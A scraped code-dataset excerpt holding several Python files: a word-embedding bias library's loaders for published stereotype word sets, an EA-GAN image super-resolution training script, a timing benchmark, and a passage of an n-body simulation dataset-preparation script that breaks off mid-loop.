'2004', '2005', '2006', '2007',\n '2008', '2009', '2010', '2011', '2012', '2013', '2014', '2015'}\n , by default 2015\n top_n_race_occupations : int, optional\n The year of the census for the occupations file.\n The number of occupations by race, by default 10\n\n Returns\n -------\n dict\n A dictionary with the word sets.\n \"\"\"\n\n EDS_BASE_URL = 'https://raw.githubusercontent.com/nikhgarg/'\\\n 'EmbeddingDynamicStereotypes/master/data/'\n EDS_WORD_SETS_NAMES = [\n 'adjectives_appearance.txt',\n 'adjectives_intelligencegeneral.txt',\n 'adjectives_otherization.txt',\n 'adjectives_sensitive.txt',\n 'female_pairs.txt',\n 'male_pairs.txt',\n 'names_asian.txt',\n 'names_black.txt',\n 'names_chinese.txt',\n 'names_hispanic.txt',\n 'names_russian.txt',\n 'names_white.txt',\n 'words_christianity.txt',\n 'words_islam.txt',\n 'words_terrorism.txt',\n ]\n\n # ---- Word sets ----\n\n # read the word sets from the source.\n word_sets = []\n for EDS_words_set_name in EDS_WORD_SETS_NAMES:\n name = EDS_words_set_name.replace('.txt', '')\n word_sets.append(\n pd.read_csv(EDS_BASE_URL + EDS_words_set_name, names=[name]))\n\n word_sets_dict = pd.concat(word_sets, sort=False,\n axis=1).to_dict(orient='list')\n\n # turn the dataframe into a python dict without nan.\n for dataset_name in word_sets_dict:\n word_sets_dict[dataset_name] = list(\n filter(lambda x: not pd.isnull(x), word_sets_dict[dataset_name]))\n\n # ---- Occupations by Gender ----\n\n # fetch occupations by gender\n gender_occupations = pd.read_csv(\n EDS_BASE_URL + 'occupation_percentages_gender_occ1950.csv')\n # filter by year\n gender_occupations = gender_occupations[gender_occupations['Census year']\n == occupations_year]\n\n # get male occupations\n male_occupations = gender_occupations[\n gender_occupations['Male'] >= gender_occupations['Female']]\n male_occupations = male_occupations['Occupation'].values.tolist()\n\n # get female occupations\n female_occupations = gender_occupations[\n gender_occupations['Male'] < gender_occupations['Female']]\n female_occupations = female_occupations['Occupation'].values.tolist()\n\n word_sets_dict['male_occupations'] = male_occupations\n word_sets_dict['female_occupations'] = female_occupations\n\n # ---- Occupations by Race ----\n\n occupations = pd.read_csv(EDS_BASE_URL +\n 'occupation_percentages_race_occ1950.csv')\n occupations_filtered = occupations[occupations['Census year'] ==\n occupations_year]\n occupations_white = occupations_filtered.sort_values('white').head(\n top_n_race_occupations)[['Occupation']].values.T[0]\n occupations_black = occupations_filtered.sort_values('black').head(\n top_n_race_occupations)[['Occupation']].values.T[0]\n occupations_asian = occupations_filtered.sort_values('asian').head(\n top_n_race_occupations)[['Occupation']].values.T[0]\n occupations_hispanic = occupations_filtered.sort_values('hispanic').head(\n top_n_race_occupations)[['Occupation']].values.T[0]\n\n # add loaded sets to the dataset\n word_sets_dict['occupations_white'] = occupations_white\n word_sets_dict['occupations_black'] = occupations_black\n word_sets_dict['occupations_asian'] = occupations_asian\n word_sets_dict['occupations_hispanic'] = occupations_hispanic\n\n # rename some sets\n word_sets_dict['male_terms'] = word_sets_dict.pop('male_pairs')\n word_sets_dict['female_terms'] = word_sets_dict.pop('female_pairs')\n word_sets_dict['adjectives_intelligence'] = word_sets_dict.pop(\n 'adjectives_intelligencegeneral')\n\n return word_sets_dict\n\n\ndef fetch_debiaswe() -> dict:\n \"\"\"Fetch the word sets used in the paper Man is to Computer Programmer as\n Woman is to Homemaker? from the source. It includes gender (male, female)\n terms and related word sets.\n\n Reference:\n Man is to Computer Programmer as Woman is to Homemaker?\n Debiasing Word Embeddings by Tolga Bolukbasi, Kai-Wei Chang, James Zou,\n Venkatesh Saligrama, and Adam Kalai.\n Proceedings of NIPS 2016.\n\n Returns\n -------\n dict\n A dictionary in which each key correspond to the name of the set and\n its values correspond to the word set.\n \"\"\"\n\n DEBIAS_WE_BASE_URL = 'https://raw.githubusercontent.com/tolga-b/'\\\n 'debiaswe/master/data/'\n\n DEBIAS_WE_WORD_SETS = [\n 'definitional_pairs.json', 'equalize_pairs.json', 'professions.json'\n ]\n\n male_female_words = pd.read_json(DEBIAS_WE_BASE_URL +\n DEBIAS_WE_WORD_SETS[0])\n male_words = male_female_words[[0]].values.flatten().tolist()\n female_words = male_female_words[[1]].values.flatten().tolist()\n\n pairs = pd.read_json(DEBIAS_WE_BASE_URL + DEBIAS_WE_WORD_SETS[1])\n male_related_words = pairs[0].str.lower().values.flatten().tolist()\n female_related_words = pairs[1].str.lower().values.flatten().tolist()\n\n word_sets_dict = {\n 'male_terms': male_words,\n 'female_terms': female_words,\n 'male_related_words': male_related_words,\n 'female_related_words': female_related_words\n }\n\n return word_sets_dict\n\n\ndef load_bingliu():\n \"\"\"Load the bing-liu sentiment lexicon.\n\n References:\n Minqing Hu and Bing Liu. \"Mining and Summarizing Customer Reviews.\"\n Proceedings of the ACM SIGKDD International Conference on Knowledge\n Discovery and Data Mining (KDD-2004), Aug 22-25, 2004, Seattle,\n Washington, USA.\n\n Returns\n -------\n dict\n A dictionary with the positive and negative words.\n \"\"\"\n # extract the file\n resource_package = __name__\n resource_neg_path = '/'.join(('data', 'negative-words.txt'))\n bingliu_neg_bytes = pkg_resources.resource_stream(resource_package,\n resource_neg_path)\n\n resource_pos_path = '/'.join(('data', 'positive-words.txt'))\n bingliu_pos_bytes = pkg_resources.resource_stream(resource_package,\n resource_pos_path)\n\n negative = pd.read_csv(bingliu_neg_bytes,\n sep='\\n',\n header=None,\n names=['word'],\n encoding='latin-1')\n negative_cleaned = negative.loc[30:, ].values.flatten().tolist()\n positive = pd.read_csv(bingliu_pos_bytes,\n sep='\\n',\n header=None,\n names=['word'],\n encoding='latin-1')\n positive_cleaned = positive.loc[29:, ].values.flatten().tolist()\n\n bingliu_lexicon = {\n 'positive_words': positive_cleaned,\n 'negative_words': negative_cleaned\n }\n\n return bingliu_lexicon\n\n\ndef fetch_debias_multiclass() -> dict:\n \"\"\"Fetch the word sets used in the paper *Black Is To Criminals Caucasian*\n *Is To Police: Detecting And Removing Multiclass Bias In Word Embeddings*.\n It includes gender (male, female), ethnicity(asian, black, white) and\n religion(christianity, judaism and islam) target and attribute word sets.\n\n References:\n Thomas Manzini, Lim Yao Chong,Alan W Black, and Yulia Tsvetkov.\n Black is to criminals caucasian is to police: Detecting and removing\n multiclass bias in word embeddings. In Proceedings of the 2019 Conference\n of the North American Chapter of the Association for Computational\n Linguistics:\n Human Lan-guage Technologies, Volume 1 (Long and Short Papers),pages\n 615–621, Minneapolis, Minnesota, June 2019.\n As-sociation for Computational Linguistics.\n\n Returns\n -------\n dict\n A dictionary in which each key correspond to the name of the set and\n its values correspond to the word set.\n\n \"\"\"\n\n BASE_URL = 'https://raw.githubusercontent.com/TManzini/'\\\n 'DebiasMulticlassWordEmbedding/master/Debiasing/data/vocab/'\n WORD_SETS_FILES = [\n 'gender_attributes_optm.json', 'race_attributes_optm.json',\n 'religion_attributes_optm.json'\n ]\n # fetch gender\n with urllib.request.urlopen(BASE_URL + WORD_SETS_FILES[0]) as file:\n gender = json.loads(file.read().decode())\n\n gender_terms = np.array(gender['definite_sets'])\n female_terms = gender_terms[:, 1].tolist()\n male_terms = gender_terms[:, 0].tolist()\n\n gender_related_words = gender['analogy_templates']['role']\n male_roles = gender_related_words['man']\n female_roles = gender_related_words['woman']\n # fetch race\n with urllib.request.urlopen(BASE_URL + WORD_SETS_FILES[1]) as file:\n race = json.loads(file.read().decode())\n\n race_terms = np.array(race['definite_sets'])\n black = np.unique(race_terms[:, 0]).tolist()\n white = np.unique(race_terms[:, 1]).tolist()\n asian = np.unique(race_terms[:, 2]).tolist()\n\n race_related_words = race['analogy_templates']['role']\n white_related_words = race_related_words['caucasian']\n asian_related_words = race_related_words['asian']\n black_related_words = race_related_words['black']\n # fetch religion\n with urllib.request.urlopen(BASE_URL + WORD_SETS_FILES[2]) as file:\n religion = json.loads(file.read().decode())\n\n religion_terms = np.array(religion['definite_sets'])\n judaism = np.unique(religion_terms[:, 0]).tolist()\n christianity = np.unique(religion_terms[:, 1]).tolist()\n islam = np.unique(religion_terms[:, 2]).tolist()\n\n religion_related_words = religion['analogy_templates']['attribute']\n greed = religion_related_words['jew']\n conservative = religion_related_words['christian']\n terrorism = religion_related_words['muslim']\n\n word_sets_dict = {\n 'male_terms': male_terms,\n 'female_terms': female_terms,\n 'male_roles': male_roles,\n 'female_roles': female_roles,\n 'black_terms': black,\n 'white_terms': white,\n 'asian_terms': asian,\n 'black_related_words': black_related_words,\n 'white_related_words': white_related_words,\n 'asian_related_words': asian_related_words,\n 'judaism_terms': judaism,\n 'christianity_terms': christianity,\n 'islam_terms': islam,\n 'greed': greed,\n 'conservative': conservative,\n 'terrorism': terrorism,\n }\n return word_sets_dict\n\n\ndef load_weat():\n \"\"\"Load the word sets used in the paper *Semantics Derived Automatically*\n *From Language Corpora Contain Human-Like Biases*.\n It includes gender (male, female), ethnicity(black, white)\n and pleasant, unpleasant word sets, among others.\n\n Reference:\n Semantics derived automatically from language corpora contain human-like\n biases.\n Caliskan, A., Bryson, J. J., & Narayanan, A. (2017).\n Science, 356(6334), 183-186.\n\n Returns\n -------\n word_sets_dict : dict\n A dictionary with the word sets.\n\n\n \"\"\"\n resource_package = __name__\n resource_path = '/'.join(('data', 'WEAT.json'))\n weat_data = pkg_resources.resource_string(resource_package, resource_path)\n\n data = json.loads(weat_data.decode())\n\n return data\n","sub_path":"wefe/datasets/datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":12561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"142043754","text":"import os\nimport argparse\nimport time\nimport numpy as np\n\nfrom tqdm import tqdm\nfrom tensorboard_logger import configure, log_value\nimport tensorboard_logger\ntensorboard_logger.clean_default_logger()\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\n\nimport torch.utils.data\nfrom torch.utils.data import DataLoader\nimport torchvision.utils as utils\nfrom torchvision.transforms import Normalize\n\nfrom math import log10\nimport pytorch_ssim\n\nfrom model_EA import Generator_EAGAN, Discriminator_WGAN, compute_gradient_penalty\nfrom utils import TrainDataset, DevDataset, to_image, print_first_parameter, check_grads, get_grads_D_WAN, get_grads_G\ndef main():\n\tn_epoch_pretrain = 2\n\tuse_tensorboard = True\n\n\tparser = argparse.ArgumentParser(description='SRGAN Train')\n\tparser.add_argument('--crop_size', default=200, type=int, help='training images crop size')\n\tparser.add_argument('--num_epochs', default=1000, type=int, help='training epoch')\n\tparser.add_argument('--batch_size', default=1, type=int, help='training batch size')\n\tparser.add_argument('--train_set', default='F:/hot', type=str, help='train set path')\n\tparser.add_argument('--check_point', type=int, default=-1, help=\"continue with previous check_point\")\n # parser.add_argument('--upscale_factor', type=int, default=-1, help=\"continue with previous check_point\")\n\topt = parser.parse_args()\n\n\tinput_size = opt.crop_size\n\tn_epoch = opt.num_epochs\n\tbatch_size = opt.batch_size\n\tcheck_point = opt.check_point\n # upscale_factor=opt.upscale_factor\n\tcheck_point_path = 'F:/result_EAWGAN'\n\tif not os.path.exists(check_point_path):\n\t\tos.makedirs(check_point_path)\n\n\ttrain_set = TrainDataset(opt.train_set, crop_size=input_size, upscale_factor=4)\n\ttrain_loader = DataLoader(dataset=train_set, num_workers=0, batch_size=batch_size, shuffle=True)\n\n\tdev_set = DevDataset('F:/hot_val', upscale_factor=4)\n\tdev_loader = DataLoader(dataset=dev_set, num_workers=0, batch_size=1, shuffle=False)\n\n\tmse = nn.MSELoss()\n\t\t\n\tif not torch.cuda.is_available():\n\t\tprint ('!!!!!!!!!!!!!!USING CPU!!!!!!!!!!!!!')\n\n\tnetG = Generator_EAGAN()\n\tprint('# generator parameters:', sum(param.numel() for param in netG.parameters()))\n\tnetD = Discriminator_WGAN()\n\tprint('# discriminator parameters:', sum(param.numel() for param in netD.parameters()))\n\n\tif torch.cuda.is_available():\n\t\tnetG.cuda()\n\t\tnetD.cuda()\n\t\tmse.cuda()\n\t\n\tif use_tensorboard:\n\t\tconfigure('log', flush_secs=5)\n\t\n\t# Pre-train generator using only MSE loss\n\tif check_point == -1:\n\t\toptimizerG = optim.Adam(netG.parameters())\n\t\tfor epoch in range(1, n_epoch_pretrain + 1):\t\n\t\t\ttrain_bar = tqdm(train_loader)\n\t\t\t\n\t\t\tnetG.train()\n\t\t\t\n\t\t\tcache = {'g_loss': 0}\n\t\t\t\n\t\t\tfor lowres, real_img_hr in train_bar:\n\t\t\t\tif torch.cuda.is_available():\n\t\t\t\t\treal_img_hr = real_img_hr.cuda()\n\t\t\t\t\t\n\t\t\t\tif torch.cuda.is_available():\n\t\t\t\t\tlowres = lowres.cuda()\n\t\t\t\t\t\n\t\t\t\tfake_img_hr = netG(lowres)\n\n\t\t\t\t# Train G\n\t\t\t\tnetG.zero_grad()\n\t\t\t\t\n\t\t\t\timage_loss = mse(fake_img_hr, real_img_hr)\n\t\t\t\tcache['g_loss'] += image_loss\n\t\t\t\t\n\t\t\t\timage_loss.backward()\n\t\t\t\toptimizerG.step()\n\n\t\t\t\t# Print information by tqdm\n\t\t\t\ttrain_bar.set_description(desc='[%d/%d] Loss_G: %.4f' % (epoch, n_epoch_pretrain, image_loss))\n\t\n\toptimizerG = optim.Adam(netG.parameters(), lr=1e-4)\n\toptimizerD = optim.Adam(netD.parameters(), lr=1e-4)\n\t\n\tif check_point != -1:\n\t\tif torch.cuda.is_available():\n\t\t\tnetG.load_state_dict(torch.load('F:/result_EAWGAN/netG_epoch_' + str(check_point) + '_gpu.pth'))\n\t\t\tnetD.load_state_dict(torch.load('F:/result_EAWGAN/netD_epoch_' + str(check_point) + '_gpu.pth'))\n\t\t\toptimizerG.load_state_dict(torch.load('F:/result_EAWGAN/optimizerG_epoch_' + str(check_point) + '_gpu.pth'))\n\t\t\toptimizerD.load_state_dict(torch.load('F:/result_EAWGAN/optimizerD_epoch_' + str(check_point) + '_gpu.pth'))\n\t\telse :\n\t\t\tnetG.load_state_dict(torch.load('F:/result_EAWGAN/netG_epoch_' + str(check_point) + '_cpu.pth'))\n\t\t\tnetD.load_state_dict(torch.load('F:/result_EAWGAN/netD_epoch_' + str(check_point) + '_cpu.pth'))\n\t\t\toptimizerG.load_state_dict(torch.load('F:/result_EAWGAN/optimizerG_epoch_' + str(check_point) + '_cpu.pth'))\n\t\t\toptimizerD.load_state_dict(torch.load('F:/result_EAWGAN/optimizerD_epoch_' + str(check_point) + '_cpu.pth'))\n\t\n\tfor epoch in range(1 + max(check_point, 0), n_epoch + 1 + max(check_point, 0)):\n\t\ttrain_bar = tqdm(train_loader)\n\t\t\n\t\tnetG.train()\n\t\tnetD.train()\n\t\t\n\t\tcache = {'mse_loss': 0, 'adv_loss': 0, 'g_loss': 0, 'd_loss': 0, 'ssim': 0, 'psnr': 0, 'd_top_grad' : 0, 'd_bot_grad' : 0, 'g_top_grad' : 0, 'g_bot_grad' : 0}\n\t\t\n\t\tfor lowres, real_img_hr in train_bar:\n\t\t\t#print ('lr size : ' + str(data.size()))\n\t\t\t#print ('hr size : ' + str(target.size()))\n\t\t\t\n\t\t\tif torch.cuda.is_available():\n\t\t\t\treal_img_hr = real_img_hr.cuda()\n\t\t\t\tlowres = lowres.cuda()\n\t\t\t\t\n\t\t\tfake_img_hr = netG(lowres)\n\t\t\t\n\t\t\t# Train D\n\t\t\tnetD.zero_grad()\n\t\t\t\n\t\t\tlogits_real = netD(real_img_hr).mean()\n\t\t\tlogits_fake = netD(fake_img_hr).mean()\n\t\t\tgradient_penalty = compute_gradient_penalty(netD, real_img_hr, fake_img_hr)\n \n\t\t\td_loss = logits_fake - logits_real + 10*gradient_penalty\n\t\t\t\n\t\t\tcache['d_loss'] += d_loss.item()\n\t\t\t\n\t\t\td_loss.backward(retain_graph=True)\n\t\t\toptimizerD.step()\n\t\t\t\n\t\t\tdtg, dbg = get_grads_D_WAN(netD)\n\n\t\t\tcache['d_top_grad'] += dtg\n\t\t\tcache['d_bot_grad'] += dbg\n\n\t\t\t# Train G\n\t\t\t\n\t\t\tnetG.zero_grad()\n\t\t\t\n\t\t\timage_loss = mse(fake_img_hr, real_img_hr)\n\n\t\t\tadversarial_loss = -1*netD(fake_img_hr).mean()\n\t\t\t\n\t\t\tg_loss = image_loss + 1e-3*adversarial_loss\n \n\n\n\n\t\t\tpsnr = 10 * log10(1 / ((fake_img_hr - real_img_hr) ** 2).mean().item())\n\t\t\tssim = pytorch_ssim.ssim(fake_img_hr, real_img_hr).item()\n\n \n\n\t\t\tcache['mse_loss'] += image_loss.item()\n\t\t\tcache['adv_loss'] += adversarial_loss.item()\n\t\t\tcache['g_loss'] += g_loss.item()\n\t\t\tcache['psnr'] += psnr\n\t\t\tcache['ssim'] += ssim\n\n\t\t\tg_loss.backward()\n\t\t\toptimizerG.step()\n\t\t\t\n\t\t\tgtg, gbg = get_grads_G(netG)\n\n\t\t\tcache['g_top_grad'] += gtg\n\t\t\tcache['g_bot_grad'] += gbg\n\n\t\t\t# Print information by tqdm\n\t\t\ttrain_bar.set_description(desc='[%d/%d] D grads:(%f, %f) G grads:(%f, %f) Loss_D: %.4f Loss_G: %.4f = %.4f + %.4f' % (epoch, n_epoch, dtg, dbg, gtg, gbg, d_loss, g_loss, image_loss, adversarial_loss))\n\t\t\n\t\tif use_tensorboard:\n\t\t\tlog_value('d_loss', cache['d_loss']/len(train_loader), epoch)\n \n\t\n\t\t\tlog_value('mse_loss', cache['mse_loss']/len(train_loader), epoch)\n\t\t\tlog_value('adv_loss', cache['adv_loss']/len(train_loader), epoch)\n\t\t\tlog_value('g_loss', cache['g_loss']/len(train_loader), epoch)\n\t\t\tlog_value('ssim', cache['ssim']/len(train_loader), epoch)\n\t\t\tlog_value('psnr', cache['psnr']/len(train_loader), epoch)\n\n\n\t\t\t\n\t\t\tlog_value('D top layer gradient', cache['d_top_grad']/len(train_loader), epoch)\n\t\t\tlog_value('D bot layer gradient', cache['d_bot_grad']/len(train_loader), epoch)\n\t\t\tlog_value('G top layer gradient', cache['g_top_grad']/len(train_loader), epoch)\n\t\t\tlog_value('G bot layer gradient', cache['g_bot_grad']/len(train_loader), epoch)\n\t\t\n\t\t# Save model parameters\t\n\t\tif torch.cuda.is_available():\n\t\t\ttorch.save(netG.state_dict(), 'F:/result_EAWGAN/netG_epoch_%d_gpu.pth' % (epoch))\n\t\t\tif epoch%5 == 0:\n\t\t\t\ttorch.save(netD.state_dict(), 'F:/result_EAWGAN/netD_epoch_%d_gpu.pth' % (epoch))\n\t\t\t\ttorch.save(optimizerG.state_dict(), 'F:/result_EAWGAN/optimizerG_epoch_%d_gpu.pth' % (epoch))\n\t\t\t\ttorch.save(optimizerD.state_dict(), 'F:/result_EAWGAN/optimizerD_epoch_%d_gpu.pth' % (epoch))\n\t\telse:\n\t\t\ttorch.save(netG.state_dict(), 'F:/result_EAWGAN/netG_epoch_%d_cpu.pth' % (epoch))\n\t\t\tif epoch%5 == 0:\n\t\t\t\ttorch.save(netD.state_dict(), 'F:/result_EAWGAN/netD_epoch_%d_cpu.pth' % (epoch))\n\t\t\t\ttorch.save(optimizerG.state_dict(), 'F:/result_EAWGAN/optimizerG_epoch_%d_cpu.pth' % (epoch))\n\t\t\t\ttorch.save(optimizerD.state_dict(), 'F:/result_EAWGAN/optimizerD_epoch_%d_cpu.pth' % (epoch))\n\t\t\t\t\n\t\t# Visualize results\n\t\twith torch.no_grad():\n\t\t\tnetG.eval()\n\t\t\tout_path = check_point_path+'/vis/'\n\t\t\tif not os.path.exists(out_path):\n\t\t\t\tos.makedirs(out_path)\n\t\t\t\t\n\t\t\tdev_bar = tqdm(dev_loader)\n\t\t\tvaling_results = {'mse_v': 0, 'S_mse_v': 0, 'psnr_v': 0, 'ssim_v': 0, 'batch_sizes': 0,'S_psnr_v': 0, 'S_ssim_v': 0}\n\t\t\tdev_images = []\n\t\t\tfor val_lr, val_hr_restore, val_hr in dev_bar:\n\t\t\t\tbatch_size = val_lr.size(0)\n\t\t\t\tlr = val_lr\n\t\t\t\thr = val_hr\n\t\t\t\tif torch.cuda.is_available():\n\t\t\t\t\tlr = lr.cuda()\n\t\t\t\t\thr = hr.cuda()\n\n\t\t\t\tsr = netG(lr)\n\t\t\t\timage_loss_V = mse(sr, hr)\n\t\t\t\tpsnr_v = 10 * log10(1 / ((sr - hr) ** 2).mean().item())\n\t\t\t\tssim_v = pytorch_ssim.ssim(sr, hr).item()\n\t\t\t\tdev_bar.set_description(desc='[converting LR images to SR images] PSNR: %.4f dB SSIM: %.4f' % (psnr_v, ssim_v))\n\n\t\t\n\t\t\t\tvaling_results['ssim_v'] += ssim_v\n\t\t\t\tvaling_results['psnr_v'] += psnr_v\n\t\t\t\tvaling_results['mse_v'] += image_loss_V\n\n\t\t\t\t# Avoid out of memory crash on 8G GPU\n\t\t\t\tif len(dev_images) < 60 :\n\t\t\t\t\tdev_images.extend([to_image()(val_hr_restore.squeeze(0)), to_image()(hr.data.cpu().squeeze(0)), to_image()(sr.data.cpu().squeeze(0))])\n\t\t\t\n\t\t\tdev_images = torch.stack(dev_images)\n\t\t\tdev_images = torch.chunk(dev_images, dev_images.size(0) // 3)\n\t\t\t\n\t\t\tdev_save_bar = tqdm(dev_images, desc='[saving training results]')\n\t\t\tindex = 1\n\t\t\tfor image in dev_save_bar:\n\t\t\t\timage = utils.make_grid(image, nrow=3, padding=5)\n\t\t\t\tutils.save_image(image, out_path + 'epoch_%d_index_%d.png' % (epoch, index), padding=5)\n\t\t\t\tindex += 1\n\t\t\n\t\t\tif use_tensorboard:\t\t\t\n\t\t\t\tlog_value('ssim_v', valing_results['ssim_v']/len(dev_loader), epoch)\n\t\t\t\tlog_value('psnr_v', valing_results['psnr_v']/len(dev_loader), epoch)\n\t\t\t\tlog_value('S_ssim_v', valing_results['S_ssim_v']/len(dev_loader), epoch)\n\t\t\t\tlog_value('S_psnr_v', valing_results['S_psnr_v']/len(dev_loader), epoch) \n\t\t\t\tlog_value('mse_v', valing_results['mse_v']/len(dev_loader), epoch)\n\t\t\t\tlog_value('S_mse_v', valing_results['S_mse_v']/len(dev_loader), epoch) \t\t\n\n\n\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"EA-GAN/train-eagan.py","file_name":"train-eagan.py","file_ext":"py","file_size_in_byte":9858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"32826031","text":"#!/usr/bin/env python3\n\nimport os\nimport sys\n\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), '..',))\n\nfrom timeit import timeit\n\n\ndef data():\n\n from init import init_uv\n from utils.datasets import load_dataset\n from utils.params import Params\n\n X, C, labels = load_dataset('mnist_10k')\n\n return (\n X,\n *init_uv(\n X, C,\n Params({\n 'method': 'random'\n })\n ),\n labels\n )\n\n\nfrom basics.ours._numba import solve_U as numba_solve_U, update_V as numba_update_V, E as numba_E\nfrom basics.ours._cython import update_V as cython_update_V\nfrom utils.metrics import nmi_acc\n\nfunctions = {\n 'numba_solve_U': lambda X, U, V, _: numba_solve_U(X, V, 0.7, 1e-1),\n 'numba_update_V': lambda X, U, V, _: numba_update_V(V, U, X, 1e-1),\n 'cython_update_V': lambda X, U, V, _: cython_update_V(V, U, X, 1e-1),\n 'numba_E': lambda X, U, V, _: numba_E(U, V, X, 0.7, 1e-1),\n 'nmi_acc': lambda X, U, V, labels: nmi_acc(U, labels),\n}\n\n\nif __name__ == '__main__':\n\n print('Testing on MNIST-10K...')\n\n X, U, V, labels = data()\n\n for name, function in functions.items():\n print('!!!!', name, timeit(\n stmt='func(X, U, V, labels)',\n globals={\n 'X': X,\n 'U': U,\n 'V': V,\n 'labels': labels,\n 'func': function\n },\n number=5\n ), sep='\\t')\n","sub_path":"src/benchmarks/speed_test.py","file_name":"speed_test.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"544309250","text":"import os\nimport shutil\nimport tqdm\nimport fire\n\nimport numpy as np\n\nTIMESTEP_TYPES = [\"s\", \"e\"] # start and end\nVAR_NAMES = [\"p\", \"v\", \"m\", \"r\", \"f\", \"d\"]\nVAR_FILENAMES = [\"pos\", \"vel\", \"mass\", \"radii\", \"force\", \"data\"]\n\n\ndef read_instance(data_folder, simulation):\n i = {}\n for var, fname in zip(VAR_NAMES, VAR_FILENAMES):\n i[var] = np.load(\"{folder}/{sim}/{var}.npy\".format(\n folder=data_folder,\n sim=simulation,\n var=fname\n ))\n # end for\n\n return i\n# end read_instance\n\n\ndef get_O(instance, timestep):\n return np.concatenate(\n [instance[\"v\"][timestep], instance[\"p\"]\n [timestep], instance[\"m\"][timestep]],\n axis=1\n )\n# end get_O\n\n\ndef process_instance(instance, timestep):\n Oin = get_O(instance, timestep)\n Oout = get_O(instance, timestep+1)\n\n float_dtype = Oout.dtype\n\n n = Oin.shape[0]\n Adj_matrix = np.ones([n, n]) - np.eye(n)\n relations = [(src, tgt) for src in range(n)\n for tgt in range(n) if Adj_matrix[src, tgt] != 0]\n\n m = len(relations)\n Msrc = np.zeros([n, m], dtype=float_dtype)\n Mtgt = np.zeros([n, m], dtype=float_dtype)\n\n for r, st in enumerate(relations):\n s, t = st\n Msrc[s, r] = 1\n Mtgt[t, r] = 1\n\n return Oin, Oout, Msrc, Mtgt\n# end process_instance\n\n\ndef get_epoch(dataset, indexes, batch_size=100, shuffle=True):\n if shuffle:\n np.random.shuffle(indexes)\n\n epoch = dataset[indexes]\n num_instances = epoch.shape[0]\n\n for i in range(0, num_instances, batch_size):\n yield gen_batch(epoch[i:i+batch_size])\n\n if i < num_instances:\n yield gen_batch(epoch[i:])\n# end get_epoch\n\n\ndef gen_batch(batch):\n batch_size = batch.shape[0]\n batch_n = sum((batch[i, 0].shape[0] for i in range(batch_size)))\n batch_m = sum((batch[i, 0].shape[0]*batch[i, 0].shape[0] -\n batch[i, 0].shape[0] for i in range(batch_size)))\n float_dtype = batch.dtype\n O_shape = batch.shape[-1]\n bOin = np.zeros([batch_n, O_shape], float_dtype)\n bOout = np.zeros([batch_n, O_shape], float_dtype)\n bMsrc = np.zeros([batch_n, batch_m], float_dtype)\n bMtgt = np.zeros([batch_n, batch_m], float_dtype)\n n_list = []\n m_list = []\n n_acc = 0\n m_acc = 0\n\n for i in range(batch_size):\n Oin, Oout = batch[i, 0], batch[i, 1]\n n = Oin.shape[0]\n\n bOin[n_acc:n_acc+n, :] = Oin[:, :]\n bOout[n_acc:n_acc+n, :] = Oout[:, :]\n\n Adj_matrix = np.ones([n, n]) - np.eye(n)\n relations = [(src, tgt) for src in range(n)\n for tgt in range(n) if Adj_matrix[src, tgt] != 0]\n\n m = len(relations)\n\n for r, (s, t) in enumerate(relations):\n bMsrc[n+s, m+r] = 1\n bMtgt[n+t, m+r] = 1\n # end for\n\n n_list.append(n)\n m_list.append(m)\n n_acc += n\n m_acc += m\n # end for\n\n return bOin, bOout, bMsrc, bMtgt, n_list, m_list\n# end gen_batch\n\n\ndef normalise(x, percentiles):\n return (x - percentiles[1]) / (percentiles[2] - percentiles[0])\n# end normalise\n\n\ndef denormalise(x, percentiles):\n return (x * (percentiles[2] - percentiles[0])) + percentiles[1]\n# end denormalise\n\n\ndef npmse(y, tgt, axis=None):\n return ((y-tgt)**2).mean(axis=axis)\n# end npmse\n\n\nDEFAULT_NUM_OF_BODIES = 6\n\n\ndef prepare_dataset(num_of_bodies=DEFAULT_NUM_OF_BODIES, train_pct=.5, test_pct=.5, val_pct=.0, max_timesteps=1000, num_folds=10):\n DATA_FOLDER = \"./data/{}\".format(num_of_bodies)\n DATASET_FOLDER = \"./dataset/{}\".format(num_of_bodies)\n PERCENTILES_FILE = \"./dataset/percentiles.npy\"\n assert sum((train_pct, test_pct,\n val_pct)) <= 1, \"Total percentage must sum to at most 1\"\n\n print(\"Cleaning and preparing dataset folders\")\n if os.path.isdir(DATASET_FOLDER):\n shutil.rmtree(DATASET_FOLDER)\n\n os.mkdir(DATASET_FOLDER)\n\n simulations = [x for x in sorted(\n os.listdir(DATA_FOLDER)) if x != \".gitkeep\"]\n values_size = len(simulations)*max_timesteps\n Oin = get_O(read_instance(DATA_FOLDER, simulations[0]), 0)\n input_shape = Oin.shape\n inputs = np.zeros([values_size, *input_shape])\n vidx = 0\n for sim in tqdm.tqdm(simulations):\n sim_instance = read_instance(DATA_FOLDER, sim)\n for t in tqdm.trange(max_timesteps):\n Oin = get_O(sim_instance, t)\n inputs[vidx, ...] = Oin[...]\n vidx += 1\n # end for\n # end for\n percentiles = [5, 50, 95]\n value_percentiles = np.zeros([len(percentiles), input_shape[-1]])\n\n if num_of_bodies != DEFAULT_NUM_OF_BODIES: # Load percentiles\n value_percentiles = np.load(PERCENTILES_FILE)\n else: # Compute percentiles and save them\n for attridx in range(input_shape[-1]):\n value_percentiles[:, attridx] = np.percentile(\n inputs[:, :, attridx], percentiles)\n np.save(PERCENTILES_FILE, value_percentiles)\n\n np.save(\n \"{}/normvals.npy\".format(DATASET_FOLDER), value_percentiles\n )\n\n values_size = len(simulations)*(max_timesteps-1)\n dataset = np.zeros([values_size, 2, *input_shape])\n vidx = 0\n for sim in tqdm.tqdm(simulations):\n sim_instance = read_instance(DATA_FOLDER, sim)\n for t in tqdm.trange(max_timesteps-1):\n Oin, Oout = get_O(sim_instance, t), get_O(sim_instance, t+1)\n Oin, Oout = map(lambda x: normalise(\n x, value_percentiles), [Oin, Oout])\n dataset[vidx, 0, ...] = Oin[...]\n dataset[vidx, 1, ...] = Oout[...]\n vidx += 1\n # end for\n # end for\n\n np.save(\n \"{}/dataset.npy\".format(DATASET_FOLDER), dataset\n )\n\n n_train = int(values_size*train_pct)\n n_validation = int(values_size*val_pct)\n n_test = int(values_size*test_pct)\n\n for fold in tqdm.trange(num_folds, desc=\"Fold\"):\n 